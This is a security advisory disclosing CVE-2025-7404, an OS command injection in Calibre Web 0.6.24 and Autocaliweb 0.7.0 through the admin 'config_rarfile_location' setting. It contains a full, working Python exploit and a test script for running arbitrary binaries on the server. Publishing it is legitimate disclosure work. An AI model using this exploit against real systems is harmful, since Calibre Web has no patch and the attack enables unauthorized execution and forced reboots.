Calibre Web 0.6.24 - Blind Command Injection

5.9

Medium

5.9

Medium

Discovered by

Johan Giraldo

Offensive Team, Fluid Attacks

Summary

Full name

Calibre Web 0.6.24 & Autocaliweb 0.7.0 - Blind Command Injection

Code name

State

Public

Release date

Jul 24, 2025

Affected product

Calibre Web

Affected version(s)

Version 0.6.24 (Nicolette)

Vulnerability name

OS Command Injection

Vulnerability type

Remotely exploitable

Yes

CVSS v4.0 vector string

CVSS:4.0/AV:N/AC:L/AT:P/PR:H/UI:N/VC:N/VI:L/VA:H/SC:N/SI:N/SA:N

CVSS v4.0 base score

5.9

Exploit available

Yes

CVE ID(s)

Description

An arbitrary blind binary execution vulnerability has been identified in version 0.6.24 (Nicolette) of the Calibre Web application, located in the cps/admin.py file. This allows admin users to cause binary file execution (without parameters) using the absolute path. The Autocaliweb version 0.7.0 has also been confirmed as vulnerable to the same attack.

Vulnerability

The vulnerability originates from the /admin/ajaxconfig endpoint, which enables an authenticated administrator to configure various system settings via a POST request. One of these settings is 'config_rarfile_location', which is saved and subsequently validated by the 'check_unrar()' helper function. Within this function, the provided path is checked for existence using the os.path.exists() function, but no further validation is performed on the contents of the path.

The path is then passed directly to the process_wait() function, which internally calls process_open(). This creates a subprocess.Popen invocation with the user-supplied path as the command and no arguments.

As no strict allow-list or path validation is applied, an attacker can submit any absolute path to a binary on the system and the server will attempt to execute it. Although parameters cannot be passed to the binary, its default behaviour is fully triggered, enabling a malicious administrator user to execute commands such as /sbin/reboot to force a system restart or launch /bin/bash in interactive mode if the process is connected to a terminal.

Furthermore, since no command output is returned to the user, data exfiltration is limited. However, the ability to run any binary poses a high risk to system integrity and availability. Overall, the vulnerability is classified as command injection with path control but no argument control, stemming from the insecure direct use of user-controlled paths in subprocess execution.

PoC

Exploit:

import requests
import re
import argparse

def parse_args() -> argparse.Namespace:
    # parse args
    parser = argparse.ArgumentParser()
    parser.add_argument("-t", "--target",   metavar="", help="Specify the target URL (https://calibreweb.com/).", required=True)
    parser.add_argument("-c", "--cmd",      metavar="", help="Specify the absolute path of the executable path you want to execute.", default="/usr/bin/whoami")
    parser.add_argument("-u", "--username", metavar="", required=True, help="Specify the username of an admin account.")
    parser.add_argument("-p", "--password", metavar="", required=True, help="Specify the password of an admin account.")
    parser.add_argument("--proxy", metavar="", required=False, help="Specify a proxy. Ex: --proxy 'http;http://localhost:8080'", default=None)
    args = parser.parse_args()
    args.session = requests.Session()
    if args.proxy:
        args.proxy = {args.proxy.split(";")[0]: args.proxy.split(";")[1]}

    return args

def get_csrf_token(response: requests.models.Response):
    """Extract CSRF token from response"""
    try:
        if response.status_code == 200:
            csrf_match = re.search(r'name="csrf_token" value="([^"]+)"', response.text)
            if csrf_match:
                return csrf_match.group(1)
            # Also search in meta tags just in case
            csrf_match = re.search(r'<meta name="csrf-token" content="([^"]+)"', response.text)
            if csrf_match:
                return csrf_match.group(1)
    except Exception as e:
        print(f"❌ Error getting CSRF token: {e}")
    return None

def login(args: argparse.Namespace) -> bool:
    """Login session"""
    target = args.target.rstrip("/") + "/login"
    response = args.session.get(target, proxies=args.proxy)
    csrf_token = get_csrf_token(response)

    if csrf_token:
        response = args.session.post(
            target, 
            {
                "username": args.username,
                "password": args.password,
                "csrf_token": csrf_token
            },
            proxies=args.proxy
        )
        if response.status_code == 200 and "admin" in response.url or "dashboard" in response.text.lower():
            print("[!] Logged in successfully")
            return True
        else:
            print("[X] Error while trying to login")
            return False
    else:
        print("[X] Error getting CSRF token")
        return False

def execute_command(args: argparse.Namespace) -> bool:
    """
    Send the config parameters with the payload in config_rarfile_location 
    parameter to execute system commands
    """
    exploit_data = {
        "config_rarfile_location": args.cmd,
        # Required parameters to avoid validation errors
        "config_password_min_length": "8",  # Valid value between 1-40
        "config_port": "8083",              # Maintain current port
        "config_external_port": "8083",     # External port
        "config_uploading": "1",            # Checkbox values
        "config_unicode_filename": "0",
        "config_embed_metadata": "0",
        "config_anonbrowse": "0",
        "config_public_reg": "0",
        "config_register_email": "0",
        "config_kobo_sync": "0",
        "config_kobo_proxy": "0",
        "config_remote_login": "0",
        "config_use_goodreads": "0",
        "config_allow_reverse_proxy_header_login": "0",
        "config_check_extensions": "0",
        "config_password_policy": "0",
        "config_password_number": "0",
        "config_password_lower": "0",
        "config_password_upper": "0",
        "config_password_character": "0",
        "config_password_special": "0",
        "config_session": "1",
        "config_ratelimiter": "0",
        "config_updatechannel": "0",
        # Empty or valid strings to avoid errors
        "config_trustedhosts": "",
        "config_keyfile": "",
        "config_certfile": "",
        "config_upload_formats": "txt,pdf,epub,mobi,azw,azw3,azw4,cbz,cbr",
        "config_calibre": "",
        "config_binariesdir": "",
        "config_kepubifypath": "",
        "config_converterpath": "",
        "config_goodreads_api_key": "",
        "config_reverse_proxy_login_header_name": "",
        "config_limiter_uri": "",
        "config_limiter_options": ""
    }
    
    target = [args.target.rstrip("/") + path for path in ["/admin/config", "/admin/ajaxconfig"]]
    csrf_token = get_csrf_token(args.session.get(target[0], proxies=args.proxy))    
    if csrf_token:
        # Appropriate headers
        headers = {
            'Content-Type': 'application/x-www-form-urlencoded',
            'X-Requested-With': 'XMLHttpRequest'
        }

        headers['X-CSRFToken'] = csrf_token
        headers['X-CSRF-Token'] = csrf_token
        response = args.session.post(
            target[1], 
            headers=headers,
            data=exploit_data,
            proxies=args.proxy
        )
        if response.status_code == 200:
            print("[!] Payload sent successfully.")
            return True
        else:
            print("[!] Unable to sent the configuration.")
            return False
    else:
        print("[!] Error while trying to get the csrf_token.")
        return False

def main():
    args = parse_args()
    login(args)
    execute_command(args)
    exit()


if __name__ == "__main__":
    main()

Creation of malicious.sh as Proof of Concept:

cat << 'EOF' > /tmp/malicious.sh
#!/bin/bash
echo 'pwned' > success
EOF
chmod +x /tmp/malicious.sh

Run the exploit:

python3 exploit.py -t http://localhost:8083 -u admin -p admin123 -c /tmp/malicious.sh

Evidence of Exploitation

Calibre Web:

Autocaliweb:

Our security policy

We have reserved the ID CVE-2025-7404 to refer to this issue from now on.

Disclosure policy

System Information

Calibre Web:

  • Version 0.6.24 (Nicolette)

  • Operative System: Any

Autocaliweb:

  • Version 0.7.0

References

Calibre Web:

Autocaliweb:

Mitigation

There is currently no patch available for this vulnerability on Calibre Web project.

Autocaliweb version 0.7.1 has patched this vulnerability.

Credits

The vulnerability was discovered by Johan Giraldo from Fluid Attacks' Offensive Team.

Timeline

Vulnerability discovered

Jul 7, 2025

Vendor contacted

Jul 14, 2025

Public disclosure

Jul 24, 2025

Start your 21-day free trial

Discover the benefits of our Continuous Hacking solution, which organizations of all sizes are already enjoying.

Start your 21-day free trial

Discover the benefits of our Continuous Hacking solution, which organizations of all sizes are already enjoying.

Start your 21-day free trial

Discover the benefits of our Continuous Hacking solution, which organizations of all sizes are already enjoying.

Fluid Attacks' solutions enable organizations to identify, prioritize, and remediate vulnerabilities in their software throughout the SDLC. Supported by AI, automated tools, and pentesters, Fluid Attacks accelerates companies' risk exposure mitigation and strengthens their cybersecurity posture.

Subscribe to our newsletter

Stay updated on our upcoming events and latest blog posts, advisories and other engaging resources.

© 2025 Fluid Attacks. We hack your software.

Fluid Attacks' solutions enable organizations to identify, prioritize, and remediate vulnerabilities in their software throughout the SDLC. Supported by AI, automated tools, and pentesters, Fluid Attacks accelerates companies' risk exposure mitigation and strengthens their cybersecurity posture.

Subscribe to our newsletter

Stay updated on our upcoming events and latest blog posts, advisories and other engaging resources.

© 2025 Fluid Attacks. We hack your software.

Fluid Attacks' solutions enable organizations to identify, prioritize, and remediate vulnerabilities in their software throughout the SDLC. Supported by AI, automated tools, and pentesters, Fluid Attacks accelerates companies' risk exposure mitigation and strengthens their cybersecurity posture.

Subscribe to our newsletter

Stay updated on our upcoming events and latest blog posts, advisories and other engaging resources.

© 2025 Fluid Attacks. We hack your software.